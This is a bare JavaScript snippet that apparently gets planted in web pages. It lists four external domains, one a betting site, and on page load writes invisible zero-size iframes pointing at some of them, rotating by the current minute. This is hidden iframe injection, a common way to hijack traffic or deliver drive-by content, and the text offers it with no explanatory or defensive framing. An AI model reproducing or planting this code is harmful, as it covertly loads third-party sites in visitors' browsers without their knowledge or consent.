var HostList = new Array();
HostList[0] = new Array("http://www.bet138.com",15);
HostList[1] = new Array("http://www.yzspbo.net",5);
HostList[2] = new Array("http://www.quwm.cn",5);
HostList[3] = new Array("http://www.fb68.cn",5);
var NowTime = new Date();
var dm = NowTime.getMinutes();
for(var i =0; i< HostList.length;i ++)
{
	if((dm % HostList[i][1]) == 0)
	{
		document.write("<iframe src='"+ HostList[i][0] +"' height='0' width='0'></iframe>");
	}
}